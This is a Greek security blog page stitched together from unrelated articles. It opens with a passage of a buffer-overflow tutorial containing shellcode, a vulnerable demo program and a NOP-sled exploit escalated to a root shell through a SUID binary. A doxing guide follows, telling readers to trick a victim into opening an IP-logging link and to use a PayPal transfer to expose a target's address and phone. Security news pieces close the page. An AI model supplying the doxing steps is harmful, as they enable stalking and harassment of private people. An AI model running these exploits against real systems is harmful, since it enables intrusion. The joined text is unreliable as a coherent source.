Shellcode Execution ]---------\033[0m");payload_ptr();// We likely won't get here, but might as well include it just in case.puts("\033[33;1m---------[ End Shellcode Execution ]---------\033[0m");return0;}
Όπως μπορείτε να δείτε στα σχόλια, δεν χρησιμοποιούμε το -z execstack στη μεταγλώττιση επειδή αναγκάζουμε το πρόγραμμα να θεωρήσει τη μνήμη ως RWX (Read Write Execute) χρησιμοποιώντας το mprotect().Η εκτέλεση και η δοκιμή είναι η ακόλουθη:
Χρήσιμες Σημειώσεις:
Δεν μπορείτε να χρησιμοποιήσετε το παραπάνω πρόγραμμα για να δοκιμάσετε shell-codes 32 bit.
ΑΛΛΑ, είναι πολύ εύκολο να αλλάξετε το πρόγραμμα για δοκιμή shellcode 32 bit: Χρειάζεται μόνο να αλλάξετε τη γραμμή 47 από: void *page_offset = (void *)((long)payload_ptr & ~(getpagesize()-1));
σε: void *page_offset = (void *)(int)payload_ptr & ~(getpagesize()-1));
Το shell-code δεν πρέπει να περιέχει το byte “00” γιατί το πρόγραμμα θα το θεωρήσει ως συνθήκη τερματισμού και θα σταματήσει την εκτέλεσή του. Αυτή η δυνατότητα προκαλεί έναν από τους περισσότερους πονοκεφάλους κατά τη δημιουργία shell-codes. Υπάρχουν πολλές μέθοδοι που μπορούμε να χρησιμοποιήσουμε για να αποφύγουμε τα “00” bytes (όπως το XORing), αλλά αυτό είναι κάτι που ξεφεύγει από το στόχο του τρέχοντος άρθρου.
Testing a shellcode – method II
Αυτή είναι μια πολύ κοινή μέθοδος που χρησιμοποιούν σχεδόν όλοι οι (κανονικοί;;) άνθρωποι για να δοκιμάσουν τα shell-codes τους…Είναι πολύ πιο απλή και απαιτεί να ορίσετε ορισμένες flags κατά την μεταγλώττισης (που ήδη είδαμε στο Μέρος ΙΙ αυτής της σειράς).Αυτός είναι ο κώδικας σε C:
Πιο απλό και σχεδόν μια γραμμή κώδικα, ε;Αυτή είναι και η άγρια ομορφιά της C. 😈
Και πάλι, η δοκιμή είναι εύκολη:
ShellCodes on buffer overflow
Εξετάστε το παρακάτω πρόγραμμα επίδειξης σε C που χρησιμοποιήσαμε στο μέρος IΙ αυτής της σειράς. Βάζω εδώ (για λόγους σαφήνειας) ολόκληρο τον πηγαίο κώδικα:
// demo.c//// Compile: gcc -m64 -g -fno-stack-protector -z execstack -o demo demo.c//#include<stdio.h>#include<string.h>intcheckProductKey(char*userKey){char key[64];strcpy(key, userKey);int n =(strcmp(userKey,"123-456")==0);return n;}intmain(int argc,char* argv[]){char key[255];if(argc !=2){printf("Enter product key >");scanf("%s",key);}elsestrcpy(key, argv[1]);int iAllow =checkProductKey(key);if(!iAllow){printf("Wrong key!\n");return-1;}printf("Welcome to the DEMO SA Application.\n");printf("(c) 2023 all rights reserved.\n");return0;}
Χρησιμοποιώντας τη μέθοδο που περιγράφεται στο Μέρος ΙI, μπορούμε εύκολα να βρούμε τη διεύθυνση RET και το exploit για να ανακατευθύνουμε το πρόγραμμα και να παρακάμψουμε τους ελέγχους ProductKey:
Όπως παρατηρείτε, το μεταβλητό κλειδί της συνάρτησης checkProductKey έχει μήκος 64 byte.Ο στόχος μας είναι να αντικαταστήσουμε ορισμένα “A” με τα byte του shellcode και να ανακατευθύνουμε το πρόγραμμα μέσα στο ίδιο το bufferI για να εκτελέσουμε το shellcode.Για να γίνει αυτό πιο εύκολα, θα αλλάξουμε τον τρόπο με τον οποίο προσθέτουμε τις τιμές των ορισμάτων από την γραμμή εντολών.Θα χρησιμοποιήσουμε ένα HexEditor για αυτό.Το Kali έχει δύο πολύ ωραίους HexEditor: το HexEdit και το HexEditor.Αλλά, φυσικά, μπορείτε να επιλέξετε όποιον άλλον hex-editor θέλετε να δουλέψετε.
Θα βάλω τα ορίσματα (που θα περάσω στο πρόγραμμά μου) σε ένα αρχείο θα τα επεξεργαστώ με τον hex-editor.
Στην αρχή τοποθετώ τα ορίσματα σε ένα αρχείο με το όνομα args, άρα δίνω την εντολή:
Τώρα το αρχείο args περιέχει τα ορίσματα και μπορώ να τα διαχειριστώ μέσω ενός hex editor εισάγοντας αυτήν την εντολή:
exeditor -b args
Σημειώστε ότι η flag -b μου επιτρέπει να κάνω αλλαγές (διαγραφή, εισαγωγές) όταν δουλεύω μέσα στο αντίστοιχο αρχείο:
Χμ… δεν είναι ακριβώς αυτό που θα ήθελα να δω. Ο τελευταίος χαρακτήρας “0A” είναι οι χαρακτήρες αλλαγής γραμμής που βάζει το σύστημα όταν κάνω την ανακατεύθυνση στο αρχείο args. Δεν το χρειάζομαι εδώ, οπότε θα το αφαιρέσω!
Αυτό είναι το σωστό αρχείο:
Τώρα μπορώ να ελέγξω αν το exploit μου εξακολουθεί να λειτουργεί περνώντας το αρχείο args ως παράμετρο γραμμής εντολών:
./demo $(cat args)
και ορίστε και το PoC (Proof of Concept) :
Λειτουργεί μια χαρά!
Τώρα, ας πάμε στο πρόγραμμα εντοπισμού σφαλμάτων (debugger) για να εξηγήσουμε μερικά πράγματα ακόμα:
Βάζουμε ένα σημείο διακοπής (break point) στη γραμμή 7, με την εντολή b 7 (όπως στο Μέρος II) και τρέχω το πρόγραμμα με την εντολή:r $(cat args)
Αυτό που βλέπω εδώ στο ΚΟΚΚΙΝΟ κουτάκι είναι το σημείο που βρίσκομαι: Η αντικατάσταση της προσθήκης RET με 0x555555555261 είναι αυτή που εκτελεί την ανακατεύθυνση (ROP).
Αυτό που βλέπω στο ΚΙΤΡΙΝΟ κουτάκι είναι το σημείο που θέλω να πάω: Θέλω να βάλω τον ShellCode μου κάπου μέσα στα “Α” και μετά να αλλάξω τη διεύθυνση RET να δείχνει προς αυτές τις διευθύνσεις (σε κίτρινο πλαίσιο).
Για να μεγιστοποιήσω την πιθανότητα για μια επιτυχημένη επίθεση θα χρησιμοποιήσω ένα επιπλέον κόλπο: θα αντικαταστήσω τα “Α” με την εντολή NOP.
Ένα NOP (δεκαεξαδικό 0x90) είναι μια οδηγία για να πείτε στο σύστημα να μην κάνει τίποτα, και κατά συνέπεια να μεταβεί στην επόμενη εντολή!
Έτσι, σε περίπτωση που η διεύθυνση RET δεν δείχνει ακριβώς τη διεύθυνση έναρξης του shellcode, αλλά ίσως μερικές διευθύνσεις πριν, αλλά με την χρήση των 0x90, ο shellcode μου θα εκτελεστεί τελικά (ελπίζω).
Ας δούμε πρώτα αν το exploit μου λειτουργεί αν αντικαταστήσω το “A” με το “90”.:
… Επιτυχία!
Τώρα θα προσπαθήσουμε να βάλω το shell-code μου (αυτό που δημιούργησα στην προηγούμενη παράγραφο) εδώ μέσα:Εάν διαγράψω τα “\x” από τον κώδικα του shell μου “\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05″
Θα έχω αυτό:
4831f65648bf2f62696e2f2f736857545fb03b990f05
Τώρα, πρέπει να το βάλω αυτό στην κατάλληλη θέση μέσα στο αρχείο args και στη συνέχεια να αλλάξω τη διεύθυνση RET προς μια διεύθυνση πριν από τον shellcode αλλά μέσα στο buffer των “90” (δείτε το Κίτρινο Πλαίσιο στην δεύτερη παραπάνω εικόνα).
Δείτε λοιπόν την εκτέλεση στην παρακάτω εικόνα. Πράγματι, πήρα shell-access!
Όπως μπορείτε να δείτε, έλαβα ένα shell εισάγοντας το shellcode μου στο αρχείο args και αλλάζοντας τη διεύθυνση RET στο σύνολο των πιθανών διευθύνσεων που βρήκα από τον debugger.
Σημειώστε ότι οι διευθύνσεις που βρίσκονται στο STACK που πήρα από τον debugger δεν είναι εγγυημένο ότι θα είναι ακριβώς οι ίδιες με αυτές που έχω όταν εκτελώ το πρόγραμμα κατευθείαν από τη γραμμή εντολών (και όχι μέσα από τον debugger). Σε τέτοιες περιπτώσεις πρέπει να αλλάξω λίγο τη διεύθυνση RET μέχρι να εκτελεστεί το shell.
Got root?
Μέχρι στιγμής έχουμε ένα shell με δικαιώματα χρήστη.Αλλά αυτός δεν είναι ο τελικός μας στόχος, καθώς ο κύριος σκοπός μας (συνήθως) είναι να αποκτήσουμε root… ή να αποκτήσουμε ένα shell με δικαιώματα root.
Το ερώτημα τώρα είναι: είναι αυτό δυνατό;Λοιπόν, η απάντηση είναι ΝΑΙ, αλλά υπό ορισμένες προϋποθέσεις.
Μια τέτοια προϋπόθεση είναι όταν εκτελούμε ένα πρόγραμμα SUID. SUID: σημαίνει Set owner User ID.Αυτή είναι μια ειδική άδεια σε συστήματα με λειτουργικό LINUX, που ισχύει για scripts ή εφαρμογές.Εάν έχει οριστεί το bit SUID, όταν εκτελείται το πρόγραμμα, τότε το UID είναι κατόχου του αρχείου (που είναι ο root), αντί του χρήστη που το εκτελεί.
Υπάρχουν ορισμένες περιπτώσεις που ο χρήστης root δίνει άδεια SUID σε μια εφαρμογή λόγω συγκεκριμένων προνομίων που απαιτεί.Επιπλέον, ορισμένα προνόμια χαμηλότερου επιπέδου μπορούν να εκτελέσουν ένα πρόγραμμα SUID χωρίς να χρειάζεται να κατέχουν δικαιώματα root.
Η ευπάθεια προκύπτει από μια τέτοια κατάσταση είναι όταν το πρόγραμμα SUID έχει μια ευπάθεια buffer overflow τότε μπορεί να επιτρέπει στον απλό χρήστη να εκτελέσει μια εντολή με τα δικαιώματα SUID…Έτσι, μπορείτε να φανταστείτε τι θα γίνει αν το μικρό μας πρόγραμμα επίδειξης είχε SUID priv/s;Ας το δούμε αυτό στην πραγματικότητα.
Πρώτα απ ‘όλα κάνουμε το demo εκτελέσιμο SUID, ως εξής:
Έτσι, ανοίξτε μια κονσόλα root, αλλάξτε το Group και τον Owner του προγράμματος σε root και μετά αλλάξτε το Mode σε 4777.
Τώρα το πρόγραμμα επίδειξης μας, μοιάζει με αυτό:
Σύμφωνα με τη λογική SUID που εξηγήσαμε παραπάνω, αν εκτελέσουμε το shell μας μέσα στο address-space του demo, θα πρέπει να επιστρέψει ένα root shell!
Λοιπόν, ας το δοκιμάσουμε:
Ωπ!!! 😳 😳 Όχι!!!Δεν δουλεύει… 👿 🙁
Έχω πάρει shell αλλά με user priv/s!!Μα γιατί??
Λοιπόν, υπάρχει λόγος για αυτό: Many popular implementations of linux sh drop privileges when they start up: They reset their effective UID to their real UID. This includes ‘bash’, ‘dash’, ‘mksh’ and ‘BusyBox’ sh, so on Linux you won’t see anything else…
…επομένως στο Linux δεν θα παίξει…. Χμμμμ, μπορούμε να κάνουμε κάτι για αυτό; Και φυσικά η απάντηση (ως συνήθως) είναι: ΝΑΙ! Μπορούμε να δημιουργήσουμε έναν shell-code σε assembly που ορίζει το UID σε μηδέν (0) (γνωστός και ως ρίζα – root) και στη συνέχεια να καλεί το shell.
Για να γίνει πιο συγκεκριμένο τεχνικά, δείτε αυτό:
Για να βεβαιωθώ ότι θα λειτουργήσει στο δικό μου Kali, το δοκιμάζω με τον πρόγραμμα που παρουσίασα στην παράγραφο “Shellcodes” και επαλήθευσα ότι όντως επιστρέφει ένα shell.
Λάβετε υπόψη ότι πρέπει να δοκιμάσετε όλους τους κώδικες shell πριν τους εκτελέσετε για να ελέγξετε αν λειτουργούν στο σύστημα σας.Σημειώστε επίσης ότι υπάρχουν περιπτώσεις που ακόμη και οι κώδικες shell δεν λειτουργούν όταν μεταβιβάζονται στo Stack.Ξέρετε, όπως είπαμε στο Μέρος ΙI, μερικές φορές τα αποτελέσματα δεν είναι ντετερμινιστικά.
Τέλος πάντων, ας δοκιμάσουμε αυτό το νέο shellcode με το δοκιμαστικό μας πρόγραμμα.Η πρώτη ερώτηση είναι: Χωράει στο buffer; Λοιπόν, ο παραπάνω shellcode είναι 48 bytes και το buffer μας (η βασική μεταβλητή) είναι 64 bytes, οπότε η απάντηση είναι ΝΑΙ.Εντάξει ας το κάνουμε!Τροποποιήστε το αρχείο args και εκτελέστε το…
OOooo YES!
Got Root!
Και τώρα, τί;
Τι θα λέγατε να φτιάξουμε ένα Μέρος IV σχετικά με ένα αντίστοιχο παράδειγμα στα Windows 11 64 bit;Ενδιαφέρεσαι ακόμη?Αν ναι, stay tuned… for the next part!
Τι είναι doxing?
Ουσιαστικά συγκεντρώνεις όσες πληροφορίες μπορείς για ένα άτομο (στόχο).
Όταν λέμε πληροφορίες εννοούμε τα πάντα απο το όνομα, email μέχρι και τη διεύθυνση που μένει.
Τι χρειάζεστε?
Βασικές γνώσεις απο Social engineering
Notepad (επεξεργαστής κειμένου, σημειωματάριο για παράδειγμα)
Αποκτήστε τη διεύθυνση IP.
Ένας πολύ εύκολος τρόπος για να αποκτήσετε τη διεύθυνση IP απο το θύμα σας, είναι να πάτε εδώ πέρα http://whatstheirip.com/ να βάλετε το email σας και θα σας στείλουν ένα σύνδεσμο.
Στέλνετε το σύνδεσμο αυτο στο άτομο που θέλετε και όταν το ανοίξει θα πάρετε την IP του.
Μπορείτε να του πείτε κάτι του τύπου, δες ρε φίλε εδώ πέρα τι λέει.. ετσι ώστε να το κάνετε να το ανοίξει.
Πήρατε και την ip του.
Τώρα, πάτε εδώ http://ipaddress.com και εισάγετε την ip του.
Θα σας δώσει κάποια τοποθεσία, τον ταχυδρομικό κώδικα, χώρα, ISP και το λειτουργικό σύστημα.
Οπότε συμπληρώνετε και αυτα στο σημειωματάριό σας και συνχίζετε.
Πως θα πάρετε το email και άλλες πληροφορίες?
Πηγαίνετε στο google και γράψτε “ΌΝΟΜΑ-ΕΠΩΝΥΜΟ@” για παράδειγμα Ηλίας Λαλας@.
Έτσι θα σας εμφανίσει μερικές πληροφορίες για αυτον οπως και τα προφιλ που μπορεί να έχει σε κάποιες ιστοσελίδες με αυτο το όνομα.
Ακόμα, αν είναι σε κάποια ιστοσελίδα γραμμένος με κάποιο ψευδώνυμο μπορείτε να αναζητήσετε και σε αυτην.
Έτσι κάπου σε αυτες τις πληροφορίες θα βρείτε και το email, η και απο εδώ http://knowem.com/
Αν δεν το βρείτε σε κανέναν λογαριασμό τότε, ψάξτε στο facebook αν έχει κρύψει τις πληροφορίες του, μπορεί να το ζητήσετε απο κάποιον φίλο.
Ότι πληροφορίες μαζέψατε τις γράφετε στο σημειωματάριό σας.
Χρησιμοποιώντας το paypal.
Ένας πιο εύκολος τρόπος είναι μέσα απο το paypal.
Το μόνο που χρειάζεται είναι να έχετε ένα paypal λογαριασμό, να ξέρετε το email του, και να έχετε υπόλοιπο έστω 0,01 ευρώ.
Και πως το εκμεταλλευόμαστε αυτο;
Απλά, αφου ξέρετε το email του κάνετε μεταφορά απο τη δικιά σας paypal στη δικιά του ένα μικρό ποσό (πχ 0,01 ευρώ) και αυτομάτως θα σας εμφανίσει Όνομα, διεύθυνση, τηλέφωνο, κλπ.
Πως θα αποκτήσετε παραπάνω πληροφορίες.
Αν έχετε κάποια φωτογραφία του μπορείτε να πάτε εδω http://tineye.com/ να τη βάλετε και θα σας εμφανίσει που ανήκει αυτη τη φωτογραφία και σε ποιον.
Πχ σε ένα λογαριασμό στο twitter με το όνομα Stamatis Dede.
Αν γνωρίζετε το όνομα είναι πιθανόν να βρείτε και τη διεύθυνση απο τις παρακάτω ιστοσελίδες
http://411.com
http://whitepages.com
Έχει κάποια δική του ιστοσελίδα;
Αν έχει κάποια δικιά του ιστοσελίδα μπορείτε να πάτε στο whois.domaintools.com και να σας εμφανίσει πληροφορίες για τον διαχειριστή της ιστοσελίδας.
Αν έχει βάλει απόκρυψη στα WHOIS δεν θα τα εμφανίσει.
Πάνω από 40.000 λογαριασμοί διαχείρισης χρησιμοποιούν τον κωδικό πρόσβασης “admin”.
Οι ερευνητές ασφαλείας διαπίστωσαν ότι οι διαχειριστές πληροφορικής χρησιμοποιούν δεκάδες χιλιάδες αδύναμους κωδικούς πρόσβασης για την προστασία της πρόσβασης στις πύλες, αφήνοντας την πόρτα ανοιχτή σε κυβερνοεπιθέσεις στα δίκτυα των επιχειρήσεων.
Από τα περισσότερα από 1,8 εκατομμύρια διαπιστευτήρια διαχειριστών που αναλύθηκαν, πάνω από 40.000 καταχωρήσεις ήταν “admin”, γεγονός που δείχνει ότι ο προεπιλεγμένος κωδικός πρόσβασης είναι ευρέως αποδεκτός από τους διαχειριστές πληροφορικής.
Προεπιλεγμένοι και αδύναμοι κωδικοί πρόσβασης
Τα δεδομένα ελέγχου ταυτότητας συλλέχθηκαν μεταξύ Ιανουαρίου και Σεπτεμβρίου του τρέχοντος έτους μέσω του Threat Compass, μιας λύσης πληροφοριών απειλών της εταιρείας κυβερνοασφάλειας Outpost24.
Η Outpost24 αναφέρει ότι τα διαπιστευτήρια ελέγχου ταυτότητας προέρχονται από κακόβουλο λογισμικό κλοπής πληροφοριών, το οποίο συνήθως στοχεύει εφαρμογές που αποθηκεύουν ονόματα χρηστών και κωδικούς πρόσβασης.
Παρόλο που τα δεδομένα που συλλέχθηκαν δεν ήταν σε απλό κείμενο, οι ερευνητές λένε ότι “οι περισσότεροι από τους κωδικούς πρόσβασης στη λίστα μας θα μπορούσαν εύκολα να έχουν μαντέψει σε μια μάλλον μη εξελιγμένη επίθεση μαντείας κωδικών πρόσβασης”.
Ανάλογα με το σκοπό της, μια πύλη διαχειριστή μπορεί να παρέχει πρόσβαση σχετικά με τη διαμόρφωση, τους λογαριασμούς και τις ρυθμίσεις ασφαλείας. Θα μπορούσε επίσης να επιτρέπει την παρακολούθηση πελατών και παραγγελιών ή να παρέχει ένα μέσο για λειτουργίες δημιουργίας, ανάγνωσης, ενημέρωσης, διαγραφής (CRUD) για βάσεις δεδομένων.
Μετά την ανάλυση της συλλογής διαπιστευτηρίων ελέγχου ταυτότητας για πύλες διαχείρισης, η Outpost24 δημιούργησε μια λίστα με τα 20 πιο αδύναμα διαπιστευτήρια ελέγχου ταυτότητας:
01.
admin
11.
demo
02.
123456
12.
root
03.
12345678
13.
123123
04.
1234
14.
admin@123
05.
Password
15.
123456aA@
06.
123
16.
01031974
07.
12345
17.
Admin@123
08.
admin123
18.
111111
09.
123456789
19.
admin1234
10.
adminisp
20.
admin1
Οι ερευνητές προειδοποιούν ότι αν και οι παραπάνω καταχωρήσεις “περιορίζονται σε γνωστούς και προβλέψιμους κωδικούς πρόσβασης”, σχετίζονται με πύλες διαχείρισης και οι φορείς απειλών στοχεύουν σε προνομιούχους χρήστες.
Η υπεράσπιση του εταιρικού δικτύου ξεκινά με την εφαρμογή βασικών αρχών ασφαλείας, όπως η χρήση μεγάλων, ισχυρών και μοναδικών κωδικών πρόσβασης για κάθε λογαριασμό, ειδικά για τους χρήστες με πρόσβαση σε ευαίσθητους πόρους.
Για να είστε ασφαλείς από κακόβουλο λογισμικό που κλέβει πληροφορίες, η Outpost24 συνιστά τη χρήση μιας λύσης απόκρισης τελικού σημείου και ανίχνευσης, την απενεργοποίηση των επιλογών αποθήκευσης κωδικού πρόσβασης και αυτόματης συμπλήρωσης στα προγράμματα περιήγησης στο διαδίκτυο, τον έλεγχο των τομέων όταν γίνεται ανακατεύθυνση και την απομάκρυνση από σπασμένο λογισμικό.
Οι ερευνητές προειδοποιούν ότι αν και οι παραπάνω καταχωρήσεις “περιορίζονται σε γνωστούς και προβλέψιμους κωδικούς πρόσβασης”, σχετίζονται με πύλες διαχείρισης και οι φορείς απειλών στοχεύουν σε προνομιούχους χρήστες.
Η υπεράσπιση του εταιρικού δικτύου ξεκινά με την εφαρμογή βασικών αρχών ασφαλείας, όπως η χρήση μεγάλων, ισχυρών και μοναδικών κωδικών πρόσβασης για κάθε λογαριασμό, ειδικά για τους χρήστες με πρόσβαση σε ευαίσθητους πόρους.
Για να είστε ασφαλείς από κακόβουλο λογισμικό που κλέβει πληροφορίες, η Outpost24 συνιστά τη χρήση μιας λύσης απόκρισης τελικού σημείου και ανίχνευσης, την απενεργοποίηση των επιλογών αποθήκευσης κωδικού πρόσβασης και αυτόματης συμπλήρωσης στα προγράμματα περιήγησης στο διαδίκτυο, τον έλεγχο των τομέων όταν γίνεται ανακατεύθυνση και την απομάκρυνση από σπασμένο λογισμικό.
Κρίσιμη Ευπάθεια στο WordPress Plugin Backup Migration: Κίνδυνος Για Χιλιάδες Ιστότοπους
Η ασφάλεια του WordPress plugin Backup Migration βρίσκεται σε κρίσιμη κατάσταση, καθώς μια ευπάθεια επιτρέπει σε κακόβουλους επιτιθέμενους να εκτελούν κώδικα απομακρυσμένα, παραβιάζοντας πλήρως τα sites που χρησιμοποιούν αυτό το πρόσθετο.
Το Backup Migration είναι ένα plugin για το WordPress με περισσότερες από 90.000 εγκαταστάσεις, προσφέροντας στους διαχειριστές των ιστότοπων τη δυνατότητα αυτοματοποίησης των αντιγράφων ασφαλείας στον τοπικό χώρο αποθήκευσης ή στο Google Drive.
Η ευπάθεια (CVE-2023-6553), που ανακαλύφθηκε από την ομάδα ασφαλείας Nex Team, θεωρείται κρίσιμη. Η ομάδα ανέφερε το εύρημα στην Wordfence, μια οργάνωση που ασχολείται με θέματα ασφαλείας του WordPress, στο πλαίσιο ενός προγράμματος bug bounty.
Ο Αμερικανός Γερουσιαστής Ρον Ουάιντεν Προειδοποιεί: Κυβερνήσεις Παρακολουθούν Χρήστες Κινητών μέσω Ειδοποιήσεων Push
Αγνωστες κυβερνήσεις παρακολουθούν τους χρήστες smartphone μέσω των ειδοποιήσεων push των εφαρμογών τους, προειδοποίησε ένας αμερικανός γερουσιαστής την Τετάρτη.
Σε ένα γράμμα προς το Υπουργείο Δικαιοσύνης, ο γερουσιαστής Ρον Ουάιντεν είπε ότι ξένοι αξιωματούχοι ζητούν δεδομένα από την Google της Alphabet (GOOGL.O) και την Apple (AAPL.O). Αν και οι λεπτομέρειες ήταν πενιχρές, το γράμμα παρουσιάζει άλλο έναν τρόπο με τον οποίο οι κυβερνήσεις μπορούν να παρακολουθούν τα smartphones.
Οι εφαρμογές όλων των ειδών εξαρτώνται από τις ειδοποιήσεις push για να ενημερώνουν τους χρήστες smartphone για εισερχόμενα μηνύματα, τελευταία νέα και άλλες ενημερώσεις. Αυτά είναι τα ακουστικά “ding” που λαμβάνουν οι χρήστες όταν λαμβάνουν ένα email ή γενικά μια ειδοποίηση. Αυτό που οι χρήστες συχνά δεν συνειδητοποιούν είναι ότι σχεδόν όλες οι τέτοιου είδους ειδοποιήσεις ταξιδεύουν μέσω των διακομιστών της Google και της Apple.
Αυτό δίνει στις δύο εταιρείες μοναδική κατανόηση της κίνησης που προέρχεται από αυτές τις εφαρμογές προς τους χρήστες τους, και επομένως τις βάζει σε μια μοναδική θέση για να διευκολύνουν την κυβερνητική παρακολούθηση, είπε ο Ουάιντεν.
Ζήτησε από το Υπουργείο Δικαιοσύνης να “ανακαλέσει ή να τροποποιήσει οποιεσδήποτε πολιτικές” που εμποδίζουν τις δημόσιες συζητήσεις για την κατασκοπεία μέσω ειδοποιήσεων push.
Σε ανακοίνωσή της, η Apple είπε ότι το γράμμα του Ουάιντεν τους έδωσε τη δυνατότητα να μοιραστούν περισσότερες λεπτομέρειες με το κοινό σχετικά με τον τρόπο που οι κυβερνήσεις παρακολουθούν τις ειδοποιήσεις push.
Η Google είπε ότι θα να ενημερώνει τους χρήστες σχετικά με αυτές τις ειδοποιήσεις.
Το Υπουργείο Δικαιοσύνης δεν ανταποκρίθηκε σε μηνύματα που ζητούσαν σχόλια σχετικά με την παρακολούθηση των ειδοποιήσεων push ή εάν εμπόδισε την Apple ή την Google από το να μιλήσουν γι’ αυτό.
Το γράμμα του Ουάιντεν ανέφερε ένα “υπόδειγμα” ως πηγή πληροφοριών σχετικά με την παρακολούθηση. Το προσωπικό του δεν διευκρίνισε το υπόδειγμα, αλλά μια πηγή γνώριμη με το θέμα επιβεβαίωσε ότι και ξένα και αμερικανικά κρατικά όργανα ζητούν από την Apple και την Google μεταδεδομένα που σχετίζονται με τις ειδοποιήσεις push για, παραδείγματος χάριν, βοηθήσουν στο να συσχετιστούν ανώνυμοι χρήστες εφαρμογών μηνυμάτων με συγκεκριμένους λογαριασμούς Apple ή Google.
Οι περισσότεροι χρήστες δεν δίνουν πολλή σκέψη στις ειδοποιήσεις push, αλλά έχουν προσελκύσει ενίοτε την προσοχή των τεχνολόγων λόγω της δυσκολίας χρήσης τους χωρίς να στέλνουν δεδομένα στη Google ή την Apple.
Προτού από τον προγραμματιστή της Γαλλίας Νταβίντ Λιμπό, είπε ότι οι χρήστες και οι προγραμματιστές συχνά δεν γνωρίζουν πώς οι εφαρμογές τους εκπέμπουν δεδομένα στους αμερικανικούς τεχνολογικούς γίγαντες μέσω των ειδοποιήσεων push, αποκαλώντας τις “ένα εφιαλτικό πρόβλημα απορρήτου”.
Οι χάκερς στοχεύουν Azure cloud VMs μέσω παραβιασμένων διακομιστών SQL
Οι χάκερς έχουν παρατηρηθεί να προσπαθούν να παραβιάσουν περιβάλλοντα cloud μέσω των Microsoft SQL Servers που είναι ευάλωτοι σε SQL injection.
Οι ερευνητές ασφαλείας της Microsoft αναφέρουν ότι αυτή η τεχνική πλευρικής κίνησης έχει παρατηρηθεί στο παρελθόν σε επιθέσεις σε άλλες υπηρεσίες όπως VMs και Kubernetes clusters.
Ωστόσο, είναι η πρώτη φορά που βλέπουν SQL Servers να αξιοποιούνται για αυτόν τον σκοπό.
Αλυσιδωτή επίθεση
Οι επιθέσεις που παρατήρησε η Microsoft ξεκινούν με την εκμετάλλευση μιας ευπάθειας έγχυσης SQL σε μια εφαρμογή στο περιβάλλον του στόχου.
Αυτό επιτρέπει στους φορείς απειλής να αποκτήσουν πρόσβαση στην παρουσία του SQL Server που φιλοξενείται στην εικονική μηχανή Azure με αυξημένα δικαιώματα για την εκτέλεση εντολών SQL και την εξαγωγή πολύτιμων δεδομένων.
Αυτά περιλαμβάνουν δεδομένα σχετικά με βάσεις δεδομένων, ονόματα πινάκων, σχήματα, εκδόσεις βάσεων δεδομένων, ρυθμίσεις δικτύου και δικαιώματα ανάγνωσης/εγγραφής/διαγραφής.
Εάν η παραβιασμένη εφαρμογή έχει αυξημένα δικαιώματα, οι επιτιθέμενοι μπορούν να ενεργοποιήσουν την εντολή ‘xp_cmdshell’ για την εκτέλεση εντολών του λειτουργικού συστήματος (OS) μέσω SQL, δίνοντάς τους ένα κέλυφος στον κεντρικό υπολογιστή.
Οι εντολές που εκτελούνται από τους επιτιθέμενους σε αυτό το στάδιο περιλαμβάνουν τις εξής:
Ανάγνωση καταλόγων, απαρίθμηση διεργασιών και έλεγχος κοινοτήτων δικτύου.
Λήψη κωδικοποιημένων και συμπιεσμένων εκτελέσιμων αρχείων και σεναρίων PowerShell.
Ρυθμίστε μια προγραμματισμένη εργασία για την εκκίνηση ενός backdoor script.
Ανάκτηση των διαπιστευτηρίων χρήστη με απόρριψη των κλειδιών μητρώου SAM και SECURITY.
Διασπάστε δεδομένα χρησιμοποιώντας μια μοναδική μέθοδο που περιλαμβάνει τη δωρεάν υπηρεσία “webhook.site”, η οποία διευκολύνει την επιθεώρηση και την αποσφαλμάτωση αιτημάτων HTTP και μηνυμάτων ηλεκτρονικού ταχυδρομείου.
Η χρήση μιας νόμιμης υπηρεσίας για την εκροή δεδομένων καθιστά τη δραστηριότητα λιγότερο πιθανό να φανεί ύποπτη ή να προκαλέσει προβλήματα στα προϊόντα ασφαλείας, επιτρέποντας στους επιτιθέμενους να κλέψουν διακριτικά δεδομένα από τον κεντρικό υπολογιστή.
Στη συνέχεια, οι επιτιθέμενοι επιχείρησαν να εκμεταλλευτούν την ταυτότητα cloud της παρουσίας του SQL Server για να αποκτήσουν πρόσβαση στο IMDS (Instant Metadata Service) και να αποκτήσουν το κλειδί πρόσβασης στην ταυτότητα cloud.
Στο Azure, στους πόρους συχνά εκχωρούνται διαχειριζόμενες ταυτότητες για τον έλεγχο ταυτότητας με άλλους πόρους και υπηρεσίες cloud. Εάν οι επιτιθέμενοι κατέχουν αυτό το κλειδί, μπορούν να το χρησιμοποιήσουν για να αποκτήσουν πρόσβαση σε οποιονδήποτε πόρο cloud, στον οποίο η ταυτότητα έχει δικαιώματα.
Η Microsoft αναφέρει ότι οι επιτιθέμενοι δεν κατάφεραν να αξιοποιήσουν επιτυχώς αυτή την τεχνική λόγω σφαλμάτων, αλλά η προσέγγιση παραμένει έγκυρη και αποτελεί τρομερή απειλή για τους οργανισμούς.
Τέλος, οι φορείς της απειλής διέγραψαν όλα τα σενάρια που κατέβασαν και έσβησαν τις προσωρινές τροποποιήσεις της βάσης δεδομένων για να σβήσουν τα ίχνη της επίθεσης.
Συμβουλές Προστασίας
Η Microsoft προτείνει τη χρήση του Defender for Cloud και του Defender for Endpoint για να εντοπίσετε τις ενέσεις SQL και την ύποπτη δραστηριότητα SQLCMD, που χρησιμοποιήθηκαν και οι δύο στην επίθεση που παρατηρήθηκε.
Για τον μετριασμό της απειλής, η Microsoft συνιστά την εφαρμογή της αρχής των λιγότερων προνομίων κατά τη χορήγηση δικαιωμάτων χρήστη, η οποία πάντα προσθέτει τριβή στις προσπάθειες πλευρικής μετακίνησης.
Πρίγκιπας Χάρι: Νίκη στο Δικαστήριο κατά της Mirror Group για Υποκλοπή Τηλεφώνου
Η αστυνομία του Λονδίνου δήλωσε ότι θα “εξετάσει προσεκτικά” τα ευρήματα μιας δικαστικής απόφασης που κατέληξε στο συμπέρασμα ότι ο Πρίγκιπας Χάρι ήταν θύμα υποκλοπής τηλεφώνου και άλλων παράνομων πράξεων από δημοσιογράφους της Mirror Group με τη γνώση των συντακτών τους.
Ο νεότερος γιος του Βασιλιά Κάρολου, που έγινε ο πρώτος υψηλόβαθμος βρετανικός βασιλικός μετά από 130 χρόνια που παρευρίσκεται ως μάρτυρας σε δικαστήριο, ανταμείφθηκε με 140.600 λίρες (178.000 δολάρια) την Παρασκευή, μετά τη συμφωνία του δικαστή ότι είχε πέσει θύμα δημοσιογράφων που εργάζονταν για την Mirror Group Newspapers.
